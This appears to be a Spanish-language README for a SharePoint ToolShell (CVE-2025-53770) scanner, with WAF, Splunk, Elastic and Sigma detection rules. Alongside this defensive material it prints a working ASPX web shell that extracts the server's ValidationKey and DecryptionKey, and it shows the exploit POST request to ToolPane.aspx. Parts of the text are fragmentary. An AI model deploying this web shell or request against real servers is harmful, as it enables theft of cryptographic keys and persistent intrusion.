
Escáner ToolShell - CVE-2025-53770 e información de detección
100% improvisado con todos los tweets que circulan con payloads y diferentes ataques, por lo que viene sin garantía, etc. El escáner está diseñado para identificar instancias vulnerables y tiene una configuración con usos conocidos de explotación en el entorno real. Está diseñado principalmente para uso defensivo, para identificar instancias vulnerables y permitirte parchearlas.
Este escáner realiza comprobaciones automatizadas de implementaciones de SharePoint mediante:
SP2013: WEBSER~1\15\ vs SP2016+: WEBSER~1\16\)git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner
pip install -r requirements.txt
Crea un archivo de texto con los hosts objetivo (uno por línea):
sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local
Ejecuta el escáner:
python3 scanner.py -i hosts.txt
python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v
| Opción | Descripción | Por Defecto |
|---|---|---|
-i, --input | Ruta al archivo de lista de hosts (requerido) | - |
-o, --output | Archivo de salida para resultados (.json, .csv, .txt) | None |
-l, --logfile | Ruta del archivo de log para registro detallado | None |
-t, --threads | Número de hilos concurrentes | 10 |
-v, --verbose | Habilitar salida detallada y registro | False |
-o results.json)[
{
"host": "sharepoint.example.com",
"url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
"scan_time": "2025-07-21T10:30:00.123456",
"vulnerable": true,
"status_code": 200,
"response_size": 15432,
"error": null,
"response_time": 1.23
}
]
-o results.csv)Proporciona datos tabulares adecuados para análisis en hojas de cálculo con columnas para todas las métricas de escaneo.
-o results.txt)Formato legible con estado de vulnerabilidad y detalles del escaneo.
CVE-2025-53770 apunta a una vulnerabilidad de deserialización en el componente ExcelDataSet de SharePoint que ha sido explotada activamente en el entorno real. El escáner detecta:
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx con payload serializadoValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Ejemplo: [128-256 caracteres hex]|HMACSHA256|[48-96 caracteres hex]|AES|Framework45
spinstall0.aspx para acceso persistente y extracción de claveMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0/_layouts/SignOut.aspxEl escáner analiza las respuestas en busca de:
$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v
Iniciando escaneo de 150 hosts con 10 hilos...
Objetivo CVE: CVE-2025-53770 (deserialización de ExcelDataSet en SharePoint)
Registrando en: scan.log
Los resultados se guardarán en: vuln-results.json
[+] VULNERABLE [CRÍTICO]: sp-prod-01.acme.local
[-] No vulnerable: sp-dev-02.acme.local
[!] ERROR: offline-sp.acme.local - Tiempo de conexión agotado
[+] VULNERABLE [ALTA]: sp-legacy.acme.local
Progreso: 50/150 (33.3%)
Progreso: 100/150 (66.7%)
Progreso: 150/150 (100.0%)
============================================================
ESCANEO COMPLETADO
============================================================
Total de hosts escaneados: 150
Hosts vulnerables: 3
Tasa de éxito: 97.3%
HOSTS VULNERABLES (CVE-2025-53770):
CRÍTICO - CLAVE DE MÁQUINA EXTRAÍDA (1 hosts):
• sp-prod-01.acme.local (Tiempo de respuesta: 0.85s, Versión: 2016+)
ADVERTENCIA: SE REQUIERE ACCIÓN INMEDIATA: Claves de máquina comprometidas
ALTA CONFIANZA (1 hosts):
• sp-legacy.acme.local (Tiempo de respuesta: 1.23s, Versión: 2013-2016)
BAJA CONFIANZA (1 hosts):
• sp-archive.acme.local (Tiempo de respuesta: 2.10s, Versión: Desconocida)
Resultados detallados guardados en: vuln-results.json
Habilitar registro detallado (-v) y archivos de log (-l) para solucionar problemas detallados:
tail -f scan.log
El escáner incorpora detección de patrones de explotación confirmados observados en ataques activos:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[Payload ExcelDataSet con CompressedDataTable que contiene exploit serializado]
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
ValidationKey: [cadena hexadecimal de 128-256 caracteres]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [cadena hexadecimal de 48-96 caracteres]
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40
Las organizaciones deben implementar los siguientes mecanismos de detección para identificar posibles intentos de explotación:
Monitorear solicitudes POST sospechosas a los endpoints de ToolPane de SharePoint:
# Ejemplo de patrones de reglas de detección WAF
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Cadena de consulta: "DisplayMode=Edit&a=/ToolPane.aspx"
Cuerpo de la solicitud que contenga: "MSOTlPn_Uri", "MSOTlPn_DWP"
Cuerpo de la solicitud que contenga: "ExcelDataSet", "CompressedDataTable"
Cuerpo de la solicitud que contenga: "Scorecard:ExcelDataSet"
Cuerpo de la solicitud que contenga: "H4sIAAAAAAAEA" (bytes mágicos gzip en base64)
Content-Length > 5000 bytes (tamaño típico de payload)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx
Patrones de explotación observados:
CompressedDataTableMonitorear los logs del Servicio de Registro Unificado (ULS) de SharePoint para:
Categoría: SharePoint Foundation Web Controls
Nivel: Inesperado, Error, Crítico
Palabras clave: "ToolPane", "ExcelDataSet", "Deserialization"
Proceso: w3wp.exe
Indicadores clave en logs ULS:
Monitorear logs IIS para patrones de explotación:
# Consultas de análisis de logs (reemplazar con la sintaxis de tu SIEM)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (tamaño típico del payload de exploit)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (procesamiento lento indicando deserialización)
IOCs específicos de ataques reales:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Content-Length: 7699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Cuerpo contiene: MSOTlPn_Uri=http%3A%2F%2F[domain]%2F_controltemplates%2F15%2FAclEditor.ascx
Cuerpo contiene: CompressedDataTable%3D%22H4sIAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2BJCiu%2BWQ
Monitorear el tráfico de red para:
Monitorear los Logs de Eventos de Windows en servidores SharePoint:
Log de Eventos: Application
Origen: ASP.NET, SharePoint Foundation
IDs de Evento: 1309, 1310 (errores de aplicación)
Log de Eventos: System
Origen: Application Error
Proceso: w3wp.exe crashes
index=iis source="*iis*"
| search cs_method="POST" cs_uri_stem="/_layouts/15/ToolPane.aspx" cs_uri_query="DisplayMode=Edit&a=/ToolPane.aspx"
| eval payload_size=tonumber(cs_bytes)
| where payload_size > 7000
| search cs_User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
| stats count by src_ip, cs_uri_stem, payload_size
| sort -payload_size
index=iis
| search cs_method="POST" AND cs_uri_stem="/_layouts/15/ToolPane.aspx"
| where cs_bytes > 7000 AND cs_bytes < 10000
| search cs_Referer="/_layouts/SignOut.aspx"
| eval attack_pattern=if(like(cs_User_Agent, "%Windows NT 10.0; Win64; x64; rv:120.0%"), "CVE-2025-53770", "Other")
| where attack_pattern="CVE-2025-53770"
| table _time, src_ip, cs_uri_query, cs_bytes, sc_status
{
"query": {
"bool": {
"must": [
{"term": {"http.request.method": "POST"}},
{"term": {"url.path": "/_layouts/15/ToolPane.aspx"}},
{"term": {"url.query": "DisplayMode=Edit&a=/ToolPane.aspx"}},
{"range": {"http.request.bytes": {"gte": 7000, "lte": 10000}}},
{"term": {"user_agent.original": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}},
{"term": {"http.request.referrer": "/_layouts/SignOut.aspx"}}
]
}
}
}
title: CVE-2025-53770 SharePoint ExcelDataSet Exploitation
id: cve-2025-53770-sharepoint-exploit
description: Detecta intentos de explotación de la vulnerabilidad de deserialización CVE-2025-53770 en SharePoint
references:
- https://github.com/your-repo/CVE-2025-53770-Scanner
author: Security Team
date: 2025/07/21
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/_layouts/15/ToolPane.aspx'
cs-uri-query: 'DisplayMode=Edit&a=/ToolPane.aspx'
cs-bytes:
- gte: 7000
- lte: 10000
cs-User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
cs-Referer: '/_layouts/SignOut.aspx'
condition: selection
falsepositives:
- Actividades administrativas legítimas de SharePoint
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.53770
Vigilar estos comportamientos posteriores a la explotación:
Respuesta Inmediata:
Investigación:
Contención:
# Convertir resultados de escaneo para ingesta en Splunk
python3 scanner.py -i hosts.txt -o results.json
# Importar al índice de Splunk
curl -k -H "Authorization: Splunk <token>" -X POST \
"https://splunk-server:8088/services/collector" \
-d @results.json